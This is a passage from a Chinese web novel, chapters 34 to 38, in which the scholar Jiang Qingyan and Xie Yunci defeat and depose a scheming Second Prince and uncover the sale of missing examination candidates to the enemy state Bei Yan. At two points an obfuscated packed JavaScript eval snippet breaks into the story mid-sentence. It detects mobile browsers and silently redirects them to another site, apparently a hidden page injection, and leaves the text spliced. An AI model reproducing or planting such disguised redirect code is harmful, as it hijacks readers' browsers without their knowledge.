可现在,这一切都要毁了。 毁在一个病秧子书生手里。 “江清砚……”二皇子喃喃道,“本宫倒要看看,是你的命硬,还是本宫的手段硬。” 刑部大牢,审讯室。 刘振被绑在刑架上,身上已经挨了几鞭子,鲜血浸透了官服。但他咬紧牙关,一言不发。 李崇明坐在审讯桌前,面色阴沉:“刘振,本官劝你老实交代。否则,大刑伺候,你扛不住。” 刘振抬起头,眼中满是怨恨:“李崇明,你敢动我?我是御林军副统领,是二皇子的人!你动了我,二皇子不会放过你!” “二皇子?”李崇明冷笑,“他自己都自身难保了,还能保你?” “你……” “刘振,”江清砚从阴影中走出,手中拿着那本从清漪园带回的账本,“永昌十七年八月,你收受二皇子黄金万两,为其在御林军中安插亲信十七人。可有此事?” 刘振瞳孔一缩。 “永昌十八年三月,你奉命截杀谢远山之女谢云歌,却让她弟弟谢云辞逃脱。可有此事?” 刘振脸色煞白。 “永昌十八年十月,清漪园莲花池发现一具尸体,是你手下的人处理的。你向二皇子禀报,说是‘意外落水’。但事实上……那人是被掐死的,因为他看到了不该看的东西。可有此事?!” 三个问题,一个比一个尖锐。 刘振浑身发抖,嘴唇哆嗦着,却说不出一句话。 “刘振,”江清砚走到他面前,目光如刀,“你若老实交代,或许还能留个全尸。若继续顽抗……诛九族。” 诛九族。 这三个字,彻底击溃了刘振的心理防线。 他瘫软下来,嘶声道:“我说……我都说……” 接下来的一个时辰,刘振交代了所有他知道的事:二皇子如何通过水鬼帮敛财,如何买官卖官,如何安插亲信,如何截杀谢云歌,如何灭口莲花池的小太监…… 桩桩件件,触目惊心。 江清砚让书记官一一记录,让刘振签字画押。 做完这些,他走出审讯室,只觉得浑身虚脱。 胸中那颗共同的心脏跳得沉重——是谢云辞的情绪,愤怒、痛苦,还有……一丝释然。 仇人,终于找到了。 “清砚,”谢云辞跟出来,扶住他,“你还好吗?” “还好。”江清砚靠在他肩上,轻声道,“谢兄,你姐姐的仇……快报了。” 谢云辞点头,眼中却有泪光。 就在这时,一个衙役匆匆跑来:“江钦差!李大人!不好了!二皇子府……有异动!” “什么异动?” “二皇子调集了府中护卫,还有……还有一队来历不明的黑衣人,正在朝刑部方向来!” 果然,狗急跳墙了。 江清砚和李崇明对视一眼,都看到了对方眼中的凝重。 “传令下去,”李崇明沉声道,“刑部所有衙役、兵士,全部戒备!关闭大门,准备迎敌!” “是!” 刑部衙门立刻忙碌起来。衙役们搬来拒马、沙袋,堵住大门。兵士们登上墙头,张弓搭箭,严阵以待。 江清砚和谢云辞站在正堂前,看着这一切。 “清砚,”谢云辞忽然道,“若今夜……” “没有若。”江清砚打断他,握紧手中的尚方宝剑,“今夜,我们必须赢。” 因为输了,就什么都没了。 正义,公道,还有……他们的命。 夜色渐深。 远处,传来了杂沓的脚步声,越来越近。 战斗,一触即发。 35. 第 35 章 第三十五章毒藤双线 戌时三刻,刑部衙门外火光冲天。 二皇子亲率府中护卫三百余人,还有一队约莫五十人的黑衣死士,将刑部衙门团团围住。火光映着他扭曲的脸,眼中燃烧着疯狂的怒火——他已经没有退路了,今夜若不能除掉江清砚、毁掉证据,明日早朝,就是他的死期。 “里面的人听着!”二皇子策马上前,厉声高喊,“交出江清砚和所有证据,本宫饶你们不死!否则……血洗刑部!” 墙头上,李崇明脸色铁青。他虽已调集了刑部所有能调集的人手,但满打满算也只有一百多人,其中还有不少是文职衙役,真正能战的不足八十。而对方……三百五十余人,且都是精锐。 实力悬殊。 “殿下!”李崇明高声回应,“江钦差奉旨查案,手中证据皆是呈报陛下的要物!殿下若强闯刑部,等同谋反!” “谋反?”二皇子狂笑,“本宫是嫡皇子,未来的天子!这天下迟早是本宫的!李崇明,你识相的话,就乖乖开门!否则……等本宫杀进去,第一个拿你祭旗!” 话音未落,他身后那些黑衣死士已经动了。他们身手矫健,如鬼魅般扑向刑部大门,手中刀光闪烁,在火光下泛着森冷的寒芒。 “放箭!”李崇明急喝。 墙头上的兵士立刻张弓搭箭,箭矢如雨般落下。但那些黑衣死士显然训练有素,或挥刀格挡,或翻滚闪避,竟无一人中箭,转眼间已冲到大门前! “砰!砰!砰!” 沉重的撞击声响起,是那些死士在用身体撞击大门!刑部大门虽厚重,但经不住这样猛烈的撞击,门板已经开始出现裂缝! “顶住!”谢云辞冲下墙头,带人用木杠死死抵住大门。 江清砚站在正堂前的台阶上,看着眼前这混乱的景象,脑中那座“记忆宫殿”飞速运转——他在计算,计算双方的人数、战力、还有……时间。 援军。 李崇明已经派人去京畿卫戍营求援,但从这里到卫戍营,一来一回至少半个时辰。刑部衙门……撑不了那么久。 必须想办法拖延时间。 “谢兄!”江清砚忽然喊道,“擒贼先擒王!” 谢云辞一怔,随即明白了他的意思。二皇子是今夜行动的主谋,若能擒住他,那些护卫和死士必然投鼠忌器。 但……怎么擒? 二皇子被重重护卫在中间,身边还有十几个贴身侍卫,个个都是高手。想穿过三百多人的包围,擒住他?难如登天。 “我有办法。”江清砚从怀中取出一个小布包,递给谢云辞,“这是加强版的‘松筋散’,混合了石灰和辣椒粉。你冲出去时,将这个撒向空中,能暂时扰乱他们的视线。然后……直取二皇子。” 谢云辞接过布包,沉甸甸的,分量不轻。他看了江清砚一眼,眼中闪过担忧:“我若离开,你……” “我能自保。”江清砚握紧了手中的尚方宝剑,“快去!” 谢云辞不再犹豫,将布包塞进怀里,提刀冲向大门。 与此同时,大门终于被撞开了! 黑衣死士如潮水般涌了进来,与刑部的兵士战成一团。刀光剑影,杀声震天,鲜血飞溅,瞬间染红了青石地面。 谢云辞身形如电,在混战中穿梭。他没有恋战,目标明确——直冲大门外的二皇子! 几个黑衣死士察觉到他的意图,立刻扑上来拦截。谢云辞挥刀连斩,刀光过处,血花绽放。他就像一柄烧红的刀子,狠狠插进敌人的阵营,所过之处,无人能挡。 眼看离二皇子只有十几步的距离了,谢云辞猛地从怀中掏出那个布包,用力一扬—— 白色粉末在夜风中爆开,瞬间弥漫开来! “闭气!”二皇子身边的侍卫急喝。 但已经晚了。粉末入眼,刺痛难忍;吸入鼻腔,更是火辣辣的,连呼吸都困难。那些护卫和死士顿时乱作一团,揉眼睛的、咳嗽的、甚至有人因为窒息而倒地。 趁此机会,谢云辞如猎豹般扑向二皇子! “保护殿下!”贴身侍卫们强忍不适,挥刀迎上。 刀光交错,金铁交鸣。谢云辞以一敌十,虽险象环生,却步步紧逼。他知道,自己只有这一次机会,若不能擒住二皇子,今夜刑部上下,恐怕都要死在这里。 正堂前,江清砚也在浴血奋战。 他没有谢云辞那样的身手,但手中尚方宝剑锋利无比,加上他通晓人体穴位,专攻要害,竟也放倒了好几个冲上来的死士。只是他身体实在太弱,每挥一剑,胸口都像被重锤击中,眼前阵阵发黑。 “江清砚!”一个阴冷的声音忽然响起。 江清砚抬头,只见一个黑衣人从阴影中走出——正是那日在药庐见过、后来又纵火烧刑部大牢的王莽!他脸上那道疤在火光下显得格外狰狞。 “你果然没死。”江清砚握紧剑柄。 “殿下让我来取你的命。”王莽冷笑,手中短刀寒光闪闪,“受死吧!” 话音未落,他已如鬼魅般扑来! 江清砚急退,但速度远不及对方。眼看刀锋已至面门,他忽然侧身,手中长剑斜刺——不是刺向王莽,而是刺向地面! “叮!” 剑尖与青石板碰撞,溅起几点火星。借着这一刺的反作用力,江清砚向后滑出数尺,险险避过刀锋。 王莽一愣,显然没想到江清砚会用这种方式躲闪。但他很快反应过来,再次扑上,刀法更加狠辣。 江清砚只能勉强招架。每接一刀,虎口都被震得发麻,胸口更是痛得几乎要裂开。他知道,自己撑不了多久了。 就在这时,远处忽然传来震天的马蹄声! 援军到了! “卫戍营到了!”墙头上有人高喊。 二皇子脸色骤变。他没想到援军来得这么快! “撤!快撤!”他嘶声吼道。 但已经晚了。 京畿卫戍营的三千精兵如潮水般涌来,将刑部衙门里三层外三层围了个水泄不通。火光连成一片,将夜空照得如同白昼。 “二皇子!”卫戍营统领张彪策马上前,厉声喝道,“你率众围攻刑部,意图谋害钦差,等同谋反!还不束手就擒!” 二皇子脸色惨白如纸。他知道,自己完了。 “杀出去!”他咬牙吼道,还想做最后的挣扎。 但那些护卫和死士见大势已去,早已斗志全无。有些丢下兵器投降,有些四散奔逃,只有少数死忠还在负隅顽抗。 谢云辞抓住机会,一刀劈开两个侍卫,直扑二皇子! “保护……”二皇子的话还没说完,谢云辞的刀已经架在了他脖子上。 冰冷的刀锋贴着皮肤,二皇子浑身僵硬,再也不敢动弹。 “都住手!”谢云辞厉喝,“二皇子已被擒!放下兵器者,可免死罪!” 此言一出,剩余的那些护卫和死士终于放弃了抵抗,纷纷扔下兵器。 战斗,结束了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863511|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刑部衙门内一片狼藉。地上横七竖八躺着数十具尸体,有黑衣死士,也有刑部的兵士。鲜血将青石板染成暗红色,在火光下显得触目惊心。 江清砚靠着正堂的柱子,大口喘息。他身上的月白直裰已被鲜血浸透,分不清是自己的血,还是敌人的血。胸口剧痛,眼前阵阵发黑,但他强撑着,没有倒下。 “清砚!”谢云辞押着二皇子走过来,见他满身是血,眼中满是担忧。 “我没事。”江清砚摇头,目光落在二皇子身上,“殿下,你输了。” 二皇子抬起头,眼中充满怨毒:“江清砚,你以为你赢了吗?告诉你,就算我死了,这朝中也还有我的人!你永远别想安稳!” “是吗?”江清砚淡淡一笑,从怀中取出一份名单,“这是从你账本和信件中整理出的,与你有往来的官员名单。一共四十七人。明日早朝,这些人……一个都跑不掉。” 二皇子瞪大眼睛,难以置信地看着那份名单。 “你……你怎么……” “我怎么知道的?”江清砚替他问完,“因为你太贪心了。什么都想要,什么都想掌控,所以留下了太多痕迹。而那些痕迹,最终都成了你的催命符。” 他说着,咳嗽起来,咳出几口血沫。 “清砚!”谢云辞急道。 “无碍。”江清砚抹去嘴角的血迹,看向李崇明,“李大人,将二皇子押入天牢,严加看管。明日一早,我们带着所有证据,面圣。” “是。”李崇明点头,命人将二皇子押走。 二皇子被拖走时,还在嘶声怒吼:“江清砚!你不得好死!本宫做鬼也不会放过你!” 声音渐渐远去,最终消失在夜色中。 江清砚看着他的背影,忽然觉得一阵眩晕。身体再也支撑不住,软软向后倒去。 “清砚!”谢云辞连忙抱住他。 “我……没事……”江清砚靠在他怀里,声音虚弱,“就是……有点累……” “别说话。”谢云辞抱起他,快步走向厢房,“薛大夫!快叫薛大夫!” 薛大夫很快赶来。他检查了江清砚的伤势,脸色凝重:“失血过多,心脉受损。必须立刻施针用药,否则……恐有性命之忧。” “那还等什么!”谢云辞急道。 薛大夫不再多言,立刻取出银针,为江清砚施针止血,又喂他服下几粒药丸。忙活了约莫半个时辰,江清砚的脸色才恢复了些血色,呼吸也平稳下来。 “暂时无碍了。”薛大夫抹了把汗,“但他身体太弱,这次又伤及根本,必须静养至少三个月。若再折腾……神仙也难救。” “我知道了。”谢云辞点头,“多谢薛大夫。” 薛大夫又交代了几句,便退了出去。 厢房里只剩下两人。 谢云辞坐在床边,看着江清砚苍白的睡颜,轻轻握住他的手。胸中那颗共同的心脏跳得微弱,但还算平稳。 同生共死。 今夜,他们又一起闯过了鬼门关。 窗外,天色渐渐亮了。 新的一天,即将开始。 而他们,也将迎来最后的决战。 “清砚,”谢云辞低声道,“等这一切都结束了,我们就去江南。我答应你。” 床上的江清砚似乎听到了,唇角勾起一丝极淡的笑意。 窗外,第一缕晨光照了进来。 驱散了夜的黑暗,也驱散了人心的阴霾。 天,终于亮了。 36. 第 36 章 第三十六章匠人佐证 永昌十九年冬月十一,注定是要载入史册的一天。 辰时正,金銮殿上鸦雀无声。文武百官分列两侧,垂首肃立,连呼吸都放轻了,生怕惊扰了御座上那位脸色阴沉的帝王。 永昌帝高坐龙椅,手中握着那份连夜呈上的奏折——是江清砚和李崇明联名的折子,详细陈述了水鬼帮一案的所有证据,以及昨夜二皇子围攻刑部、意图谋害钦差的事实。折子最后,附着一份长长的名单,四十七个名字,像四十七根刺,扎在他的心上。 “都看过了?”永昌帝缓缓开口,声音不大,却让殿上所有人心头一颤。 “臣等……看过了。”内阁首辅杨文正出列,声音发涩。 “那诸位爱卿觉得,”永昌帝目光扫过众臣,“此事,该如何处置?” 殿上一片死寂。 谁敢说话?一边是嫡皇子,一边是如山铁证。无论站在哪一边,都可能万劫不复。 “怎么?”永昌帝冷笑,“平日里议论朝政,一个比一个能说。现在怎么都哑巴了?” “陛下……”刑部尚书李崇明出列,跪地叩首,“臣以为,二皇子勾结匪类、扰乱科举、谋害忠良、围攻刑部,罪证确凿,当……按律论处。” 按律论处。 谋反是诛九族的大罪,皇子虽不能诛九族,但……赐死是免不了的。 “臣附议。”大理寺卿张正言也出列,“王子犯法,与庶民同罪。若因是皇子而轻纵,则国法何在?公道何在?” “臣也附议。”都察院左都御史周明远跪地,“陛下,此案已非寻常刑案,而是动摇国本的大案!若不严惩,恐天下不服!” 三个主审官都表态了,其他大臣面面相觑,终于有人陆续出列: “臣附议……” “臣也附议……” 附议之声越来越多,最终,殿上近八成大臣都跪下了,齐声道:“请陛下圣裁!” 永昌帝看着跪了一地的臣子,又看看那份名单,眼中闪过痛苦、挣扎,最终化作一片深沉的决绝。 “传旨。”他缓缓开口,声音嘶哑,“二皇子周景琰,勾结匪类、扰乱科举、谋害忠良、围攻刑部,罪大恶极。即日起,废为庶人,囚于宗人府,终身不得出。其母后教子无方,禁足坤宁宫,非诏不得出。其外祖家……夺爵罢官,家产抄没,族人流放三千里。” 废为庶人,终身囚禁。 这比直接赐死更残忍——赐死是一时的痛苦,终身囚禁是一世的折磨。 但众臣都明白,这已是永昌帝能做的极限了。毕竟,那是他的亲生儿子。 “至于名单上这些人……”永昌帝目光一冷,“一律罢官下狱,三司会审,依律定罪。” “臣等遵旨!” “还有,”永昌帝顿了顿,“江清砚揭发大案有功,擢升刑部右侍郎,赐黄金千两,良田百亩。谢云辞护驾有功,擢升六扇门总指挥使,赐……” 话未说完,殿外忽然传来一声高唱: “江清砚到——” 所有人的目光都投向殿门。 只见一个身着月白直裰的少年,缓缓走进殿中。他脸色苍白如纸,脚步虚浮,每走一步都显得异常艰难。谢云辞跟在他身后,手按刀柄,眼神警惕地扫视四周。 两人走到殿中央,跪地叩首: “臣江清砚,叩见陛下。” “臣谢云辞,叩见陛下。” 永昌帝看着江清砚苍白得几乎透明的脸,眼中闪过一丝复杂:“江爱卿,你的身体……” “臣无碍。”江清砚抬起头,目光清澈,“陛下,臣此来,是有一件重要证物,需要当庭呈上。” “何物?” 江清砚从怀中取出一个小木盒,双手呈上:“此乃从清漪园莲花池底找到的账本副本,以及二皇子与柳文渊、赵文远等人往来的亲笔信。其中有一封信……与六年前谢远山将军的案子有关。” 六年前,谢远山。 这两个词一出,殿上顿时一片哗然。 谢远山案,当年震惊朝野。兵部侍郎谢远山被诬陷贪污军饷,满门抄斩,只逃出一子一女,女儿惨死,儿子失踪。此案一直悬而未决,成了永昌帝心头的一根刺。 “呈上来。”永昌帝声音发紧。 太监接过木盒,呈上御案。永昌帝打开木盒,取出那封信。信纸泛黄,墨迹陈旧,但字迹清晰——确实是二皇子的笔迹,上面还有他的私印。 信的内容很简单: “柳卿:谢远山查军饷案甚紧,恐生变故。可联络赵文远、陈文正,早做打算。事成之后,必有重谢。” 落款日期:永昌十三年七月初三。 而谢远山被下狱,是永昌十三年七月十五。 时间对得上,人物对得上,动机也对得上。 铁证如山。 永昌帝的手在颤抖。他闭上眼睛,许久,才缓缓睁开,眼中已是一片血红。 “周景琰……”他嘶声道,“你好……你很好……” 谋害忠良,这是为君者最不能容忍的事。 “陛下,”江清砚叩首,“臣请陛下,重审谢远山一案,还谢将军一个清白。” “准。”永昌帝毫不犹豫,“即日起,由三司重审谢远山案。若谢将军确系冤枉,追封谥号,厚葬立碑。其子谢云辞……袭爵,重赏。” 谢云辞浑身一震,眼眶瞬间红了。他跪地叩首,声音哽咽:“臣……谢陛下隆恩!” 六年了。 整整六年,他东躲西藏,忍辱负重,就是为了这一天。 父亲的名誉,终于可以恢复了。 “起来吧。”永昌帝摆摆手,显得疲惫不堪,“江爱卿,你还有何事?” 江清砚却不起身,而是继续叩首:“陛下,臣还有一事……关于那些失踪的举子。” 殿上再次安静下来。 “账本记载,水鬼帮掳掠举子共计八十七人。找到的只有五十一人,其中十七人已死,三十四人获救。还有三十六人……下落不明。”江清砚缓缓道,“臣怀疑,这些人可能被送到了……某个特殊的地方。” “什么地方?” “药庐。”江清砚抬头,“蓟州药庐,不只是炼制毒药的地方,还是……培养死士的基地。那些有才华的举子,被掳走后,先进行‘调教’,若合格,就送入药庐,进行特殊训练,成为二皇子的死士。” 死士。 殿上众人倒吸一口凉气。 二皇子不仅敛财、买官,还在培养死士!他想干什么?篡位吗? “证据呢?”永昌帝沉声问。 “药庐虽被烧毁,但臣在废墟中发现了一些线索。”江清砚从袖中取出一张纸,上面画着些奇怪的符号,“这些符号,是药庐地下密道墙壁上的刻痕。臣请教过懂江湖暗语的人,他们说……这是训练死士时,用来记录进度的标记。” 他顿了顿,继续道:“而且,从药庐救出的那个账房周安,在神智清醒时曾交代,药庐确实在训练一批‘特殊货物’。这些人不参与买卖,只供二皇子驱使。” 供二皇子驱使。 做什么?刺杀政敌?监视大臣?还是……逼宫? 细思极恐。 “ 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江清砚终于起身。他站得很稳,背脊挺直,像一株风雪中傲立的青竹。 永昌帝看着他,忽然道:“江爱卿,你身体不好,先回去歇着吧。刑部右侍郎的职务,等你养好身体再上任。” “臣遵旨。” 江清砚躬身退出。谢云辞紧随其后。 走出金銮殿时,阳光正好。冬日的阳光没有温度,但很亮,照在汉白玉的台阶上,反射出耀眼的光芒。 江清砚站在高高的台阶上,看着这座巍峨的皇城,胸中那颗共同的心脏,跳得平稳而有力。 结束了。 这场持续了两个多月的斗争,终于结束了。 正义得到了伸张,冤屈得到了昭雪,罪恶得到了惩罚。 虽然……还有一些遗憾,还有一些谜团未解,但至少,他们做到了能做到的一切。 “清砚,”谢云辞扶住他,“我们回家。” 家。 江清砚笑了。是啊,他们在京城还没有家,但……有彼此的地方,就是家。 “好。”他轻声道,“回家。” 两人并肩走下台阶。长长的宫道在他们面前延伸,仿佛通向一个崭新的人生。 而他们不知道的是,此刻金銮殿内,永昌帝正看着他们离去的背影,眼中闪过复杂的神色。 “杨爱卿,”他忽然开口,“你说……江清砚此人,可用吗?” 内阁首辅杨文正躬身:“陛下,江清砚年轻有为,正直清廉,是难得的人才。只是……他身体太差,恐难当大任。” “身体可以调养。”永昌帝淡淡道,“倒是他的心性……太过刚直,不懂变通。此次若非朕护着,他早死在二皇子手里了。” “陛下说的是。” “不过……”永昌帝顿了顿,“这朝堂,也需要这样的人。就像一把刀,太钝了不好用,太锋利了容易伤手。但关键时刻,还是锋利的刀管用。” 杨文正听出了话里的意思——陛下是要重用江清砚了。 “陛下圣明。” 永昌帝不再多言,只是看着窗外,许久,才轻叹一声: “希望这把刀……别太快折了。” 窗外,阳光正好。 而宫墙之外,江清砚和谢云辞已经走出了宫门,融入了熙熙攘攘的街市。 他们的故事,还在继续。 而大周的朝堂,也因这场震动,迎来了新的格局。 一切,才刚刚开始。 37. 第 37 章 第三十七章心理侧写 冬月十六,二皇子周景琰被废为庶人,押入宗人府终身囚禁的第五天。 京城下了今冬第一场雪。细密的雪粒子从铅灰色的天空洒落,起初还夹着雨,渐渐就变成了鹅毛般的雪片,纷纷扬扬,不过一个时辰,就将整座城市覆上了一层薄薄的银白。 刑部后衙的厢房里,炭火烧得正旺。江清砚裹着厚厚的狐裘,靠在窗边的软榻上,手里捧着一卷《洗冤集录》,却没有在看,目光落在窗外飘飞的雪花上,有些出神。 他的脸色比前几日好了些,但依旧苍白。薛大夫每日都来施针用药,叮嘱他要静养至少三个月,不能劳神,更不能动气。可江清砚知道,有些事……不是不想就能不想的。 比如那些至今下落不明的三十六名举子。 比如药庐废墟里那些诡异的符号。 比如……二皇子在被废前,眼中那抹难以形容的疯狂。 “吱呀”一声,门被推开,谢云辞端着一碗药走进来,带进一股寒气。 “该喝药了。” 江清砚接过药碗,药汁浓黑,气味刺鼻,但他早已习惯了,面不改色地一饮而尽。 “外面雪大,你怎么不穿厚些?”他看着谢云辞肩头落下的雪花,微微蹙眉。 “刚从宗人府回来。”谢云辞在榻边坐下,神色凝重,“二皇子……疯了。” 疯了? 江清砚一怔。 “宗人府的人说,从进去第一天开始,他就时而哭时而笑,有时说自己是未来的天子,有时又说有人要杀他。”谢云辞顿了顿,“昨晚,他咬断了自己的舌头。” 咬舌自尽? “救回来了吗?” “救是救回来了,但……说不了话了。”谢云辞眼中闪过一丝复杂,“太医说,他神智已失,怕是真疯了。” 真疯了。 江清砚沉默。他不知道这是二皇子装疯卖傻以图自保,还是真的承受不住打击,精神崩溃了。但无论是哪种,这条线……都彻底断了。 “那些死士呢?”他问。 “搜遍了二皇子府,一个都没找到。”谢云辞摇头,“张统领甚至带人挖了地窖,掘了池塘,还是一无所获。那些人……就像凭空消失了一样。” 凭空消失。 江清砚闭上眼,脑中那座“记忆宫殿”再次展开。他将所有线索一一摆放:药庐、死士、符号、失踪的举子、二皇子的疯狂…… 总觉得,还少了点什么。 “谢兄,”他睁开眼,“你还记得药庐里那些符号的样子吗?” 谢云辞从怀中取出一张纸,上面是他凭记忆画的符号草图:“大致是这样。有些地方画得不准,但八九不离十。” 江清砚接过细看。那些符号确实诡异,像文字又像图案,弯弯曲曲,毫无规律可言。但他注意到,有些符号旁边,有细小的数字标注——十三、十七、二十二…… “这些数字,”他指着那些标注,“会不会是……代号?或者,是某种排序?” “有可能。”谢云辞点头,“周安清醒时说过,药庐训练死士分等级,从‘甲’到‘戊’,数字越大,等级越高。” 甲、乙、丙、丁、戊。 如果数字是等级,那么十三、十七、二十二……对应的应该是“丙三”、“丙七”、“丁二”? 等等。 江清砚脑中灵光一闪。 水鬼帮的账本上,关于“特殊货物”的记录,用的就是这种代号!比如“丙字三号”、“丙字七号”、“丁字二号”…… 所以那些符号,不是训练死士的标记,而是……“货物”的编号! 那些失踪的举子,不是被训练成了死士,而是作为“特殊货物”,被卖给了……其他人! “谢兄,”江清砚猛地坐直身体,胸口一阵剧痛,但他顾不上了,“我们之前想错了。二皇子不是要培养死士,他是在……贩卖人口!把那些有才华的举子,当成‘特殊货物’,卖给需要的人!” 谢云辞也意识到了问题所在:“卖给谁?” “不知道。”江清砚摇头,“但能出得起高价买‘特殊货物’的,绝不是普通人。可能是富商巨贾,可能是地方豪强,甚至可能是……外邦!” 外邦。 这两个字让谢云辞背脊一凉。 若真如此,那此案的性质就完全变了——从国内贪腐案,上升到了通敌叛国! “可我们没有证据。”谢云辞沉声道,“药庐被烧,二皇子疯了,账本只记录了交易,没记录买家。” “有一个人可能知道。”江清砚缓缓道,“柳文渊。” 柳文渊。 那个至今还在刑部大牢里,一言不发的观澜书院山长。 “他肯说吗?” “试试看。”江清砚站起身,“备车,去刑部大牢。” “你的身体……” “无碍。” 刑部大牢,天字号牢房。 柳文渊依旧穿着干净的囚服,头发梳得一丝不苟。他坐在草铺上,闭目养神,听到牢门打开的声音,才缓缓睁开眼。 看到江清砚和谢云辞,他脸上露出一个温和的笑容,仿佛不是身在牢狱,而是在书院接待访客。 “江大人,谢总捕,又见面了。” 江清砚在牢门外坐下,隔着栅栏看着他:“柳山长,近日可好?” “托大人的福,吃得好,睡得好。”柳文渊微笑,“只是这牢房湿冷,老朽这把骨头,有些受不住。” “那柳山长可想出去?” 柳文渊摇头:“出去又如何?观澜书院已毁,老朽毕生心血付诸东流。出去,也不过是个无家可归的孤魂野鬼罢了。” 他说得淡然,眼中却闪过一丝痛楚。 江清砚看在眼里,缓缓道:“柳山长,若我说……你还有戴罪立功的机会呢?” “戴罪立功?”柳文渊笑了,“江大人,老朽犯的是死罪,就算立功,又能如何?免死?老朽活到这把年纪,早已看淡生死了。” “不是免死。”江清砚直视他的眼睛,“是……保住观澜书院的清名。” 柳文渊的笑容僵住了。 观澜书院,百年学府,天下士子心中的圣地。若因为他的罪行,而被彻底抹黑,成为科举舞弊的代名词……那他柳文渊,就是千古罪人。 “江大人……什么意思?” “水鬼帮一案,主犯是二皇子,你是从犯。”江清砚缓缓道,“若你能提供重要线索,助朝廷破获更大的案子,那么陛下或许会念在你戴罪立功的份上,保留观澜书院的名号,只追究你个人的罪责。” 保留书院的名号。 柳文渊眼中燃起希望的火光,但很快又熄灭了。 “更大的案子?还能有什么更大的案子?” “那些失踪的举子。”江清砚一字一句道,“账本记录,水鬼帮掳掠举子八十七人,找到的只有五十一人,还有三十六人下落不明。他们去了哪里?被谁买走?用作什么用途?” 柳文渊沉默了。 “柳山长,”谢云辞冷声道,“那些举子中,有不少是你的学生吧?你亲手将他们送入火坑,如今连他们的下落都不肯说吗?” 这话像一把刀,狠狠扎进柳文渊的心。 他闭上眼,许久,才嘶声道:“我……不知道他们的下落。” “但你知道买家是谁,对吗?”江清砚追问。 柳文渊睁开眼,眼中满是挣扎。最终,他点了点头。 “是谁?” “是……”柳文渊的声音压得极低,“北燕。” 北燕! 大周北方的邻国,与大周交战多年,近年来虽表面臣服,但暗地里一直蠢蠢欲动。 “北燕买我大周的举子做什么?”谢云辞不解。 “北燕王室崇尚汉学,但本国人才匮乏。”柳文渊缓缓道,“所以他们暗中通过二皇子,购买有才华的举子,带回北燕,充实朝廷,学习大周的典章制度、治国方略。有些……甚至被送入北燕宫廷,成为王子的伴读、幕僚。” 培养内应,学习对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863513|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,渗透朝堂。 好毒的计策! 江清砚心头巨震。他本以为此案只是国内贪腐,没想到竟牵扯到了敌国! “那些举子……愿意吗?”他声音发颤。 “愿意?”柳文渊苦笑,“刀架在脖子上,家人被控制着,谁会愿意?但他们没有选择。要么死,要么……成为北燕的棋子。” 要么死,要么成为棋子。 江清砚握紧了拳。他能想象出那些举子的绝望——寒窗苦读十几年,本想报效国家,却沦为敌国的工具。 “北燕那边,谁负责接应?”谢云辞问。 “一个叫‘云先生’的人。”柳文渊道,“我没见过他,只通过书信往来。信是通过商队传递的,每次接头地点都不同。” “商队?” “对,北燕的商队。”柳文渊回忆道,“每年春秋两季,北燕会有商队来京城贸易。他们会带来北燕的特产,带走大周的丝绸、瓷器……还有,人。” 以贸易为掩护,行贩卖人口之实。 “最后一次交易是什么时候?”江清砚急问。 “今年秋分,九月二十三。”柳文渊道,“当时送走了最后一批‘货物’,一共十二人。之后就再没联系了。” 今年秋分。 那正是水鬼帮案发,二皇子开始清洗证据的时候。北燕那边,恐怕也得到了消息,切断了联系。 “那十二个人的名单,你有吗?” 柳文渊摇头:“名单在二皇子那里。我只负责联络,不直接经手‘货物’。” 线索又断了。 江清砚沉吟片刻,忽然问:“柳山长,你可知道,北燕商队在京城的落脚点?” “知道几个。”柳文渊报了几个地名,“但出了这么大的事,他们恐怕早就撤了。” “试试看吧。”江清砚站起身,“谢兄,我们走。” “江大人,”柳文渊叫住他,“你答应我的……” “我会向陛下陈情。”江清砚转身,看着他,“但最终如何,要看陛下的决断。” 柳文渊重重点头:“多谢。” 走出大牢,雪下得更大了。 雪花落在脸上,冰冷刺骨。江清砚却觉得,胸中那股郁结之气,终于散了些。 “清砚,”谢云辞扶住他,“我们现在去哪?” “去找李大人。”江清砚目光坚定,“此案还没完。北燕这条线,必须查到底。” “可是你的身体……” “撑得住。” 两人上了马车,朝着刑部衙门疾驰而去。 车厢里,江清砚靠在车壁上,闭上眼睛。脑中那座“记忆宫殿”再次运转——这次,他将所有线索重新排列,加入了北燕这个新的变量。 二皇子通敌叛国,贩卖举子给北燕。 北燕借此培养内应,学习大周,意图不轨。 而那些失踪的举子……可能已经身在北燕,成了敌国的棋子。 若真如此,那此案就不仅仅是朝堂争斗,而是……国战的前兆。 必须尽快查清,阻止北燕的阴谋。 可是怎么查?北燕远在千里之外,语言不通,风俗不同,他们连京城都出不去,更别说去北燕了。 除非…… 江清砚忽然睁开眼睛。 “谢兄,你听说过……‘心理侧写’吗?” 谢云辞一愣:“那是什么?” “是一种查案的方法。”江清砚缓缓道,“通过分析罪犯的行为、习惯、心理,推断出他的性格、背景、甚至……下一步的行动。” 他顿了顿,继续道:“我们可以给那个‘云先生’做一个心理侧写。通过他的书信、他的行事风格、他选择的目标……推断出他是个什么样的人,可能藏在什么地方,接下来会做什么。” 谢云辞听得似懂非懂,但他相信江清砚。 “好,你说,我做。” 马车驶入刑部衙门。 雪还在下。 而一场新的、更加凶险的较量,即将开始。 38. 第 38 章 第三十八章指认惊变 金銮殿内,鸦雀无声。 